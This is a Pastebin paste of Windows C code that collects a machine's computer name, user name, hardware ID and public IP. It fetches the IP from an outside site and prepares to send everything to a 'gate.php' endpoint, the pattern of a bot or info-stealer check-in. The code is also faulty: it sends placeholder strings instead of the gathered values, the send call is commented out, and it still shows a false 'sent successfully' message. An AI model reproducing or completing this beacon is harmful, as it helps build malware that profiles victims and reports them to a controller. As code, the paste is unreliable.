Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <windows.h>
- #include <string.h>
- #include <Wininet.h>
- #define PAGE_NAME "gate.php"
- #pragma comment (lib, "wininet")
- void compName()
- {
- LPCSTR compName = getenv("COMPUTERNAME");
- printf("Computer name is : %s\n",compName);
- }
- void userName()
- {
- LPCSTR userName = getenv("USERNAME");
- printf("UserName is : %s\n",userName);
- }
- void hWid()
- {
- HW_PROFILE_INFO hwProfileInfo;
- if(GetCurrentHwProfile(&hwProfileInfo))
- {
- LPCSTR hWid = hwProfileInfo.szHwProfileGuid;
- printf("HWID: %s\n",hWid);
- }
- }
- void ip()
- {
- HINTERNET hInternet , hFile;
- DWORD rSize;
- char ip[50];
- hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
- hFile = InternetOpenUrlA(hInternet,"http://housenaija.com/ip/ip.php",NULL,0,INTERNET_FLAG_RELOAD,0);
- InternetReadFile(hFile,&ip,sizeof(ip),&rSize);
- ip[rSize] ='\0';
- InternetCloseHandle(hFile);
- InternetCloseHandle(hInternet);
- printf("IP adress : %s \n",ip);
- }
- void sendPCInfo()
- {
- char hWid[50];
- char compName[50];
- char userName[50];
- char ip[50];
- HINTERNET hSession = InternetOpen("AppName",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
- HINTERNET hConnect = InternetConnect(hSession,"localhost",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
- HINTERNET hRequest = HttpOpenRequest(hConnect,"GET","/pcinfo/gate.php?hWid=hWid&compName=compName&userName=userName&ip=ip",NULL,NULL,NULL,0,0);
- //HttpSendRequest(hRequest,NULL,0,data,strlen(data));
- InternetCloseHandle(hRequest);
- InternetCloseHandle(hConnect);
- InternetCloseHandle(hSession);
- MessageBox(NULL,"PC Information Sent Successfully","Sent Info",MB_ICONINFORMATION | MB_OK);
- }
- int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
- {
- compName();
- userName();
- hWid();
- ip();
- sendPCInfo();
- system("pause");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement